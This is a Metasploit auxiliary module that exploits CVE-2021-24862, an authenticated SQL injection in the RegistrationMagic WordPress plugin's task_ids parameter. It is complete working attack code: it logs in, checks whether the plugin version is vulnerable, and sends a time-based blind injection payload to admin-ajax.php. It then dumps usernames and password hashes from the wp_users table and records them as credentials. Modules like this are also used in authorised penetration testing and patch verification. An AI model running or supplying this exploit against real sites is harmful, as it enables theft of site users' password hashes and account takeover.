Wordpress RegistrationMagic Task_ids Authenticated SQL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress RegistrationMagic task_ids Authenticated SQLi',  
'Description' => %q{  
RegistrationMagic, a WordPress plugin,  
prior to 5.0.1.5 is affected by an authenticated SQL injection via the  
task_ids parameter.  
},  
'Author' => [  
'h00die', # msf module  
'Hacker5preme (Ron Jost)', # edb  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2021-24862'],  
['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24862/README.md'],  
['EDB', '50686'],  
],  
'Actions' => [  
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }]  
],  
'DefaultAction' => 'List Users',  
'DisclosureDate' => '2022-01-23',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options [  
OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),  
OptString.new('USERNAME', [true, 'Valid Username for login', '']),  
OptString.new('PASSWORD', [true, 'Valid Password for login', ''])  
]  
end  
  
def check_host(_ip)  
unless wordpress_and_online?  
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')  
end  
  
checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6')  
if checkcode == Msf::Exploit::CheckCode::Safe  
return Msf::Exploit::CheckCode::Safe('RegistrationMagic version not vulnerable')  
end  
  
print_good('Vulnerable version of RegistrationMagic detected')  
checkcode  
end  
  
def run_host(ip)  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
  
fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil?  
  
formid = Rex::Text.rand_text_numeric(2)  
vprint_status("Using formid of: #{formid}")  
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|  
d = Rex::Text.rand_text_numeric(4)  
res = send_request_cgi({  
'method' => 'POST',  
'cookie' => cookie,  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => {  
'page' => 'rm_ex_chronos_edit_task',  
'rm_form_id' => '2'  
},  
'vars_post' => {  
'action' => 'rm_chronos_ajax',  
'rm_chronos_ajax_action' => 'duplicate_tasks_batch',  
'task_ids[]' => "#{formid}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}"  
}  
})  
fail_with Failure::Unreachable, 'Connection failed' unless res  
end  
  
unless @sqli.test_vulnerable  
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")  
return  
end  
columns = ['user_login', 'user_pass']  
  
print_status('Enumerating Usernames and Password Hashes')  
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])  
  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
data.each do |user|  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user[0],  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),  
private_data: user[1],  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << user  
end  
print_good('Dumped table contents:')  
print_line(table.to_s)  
end  
end  
`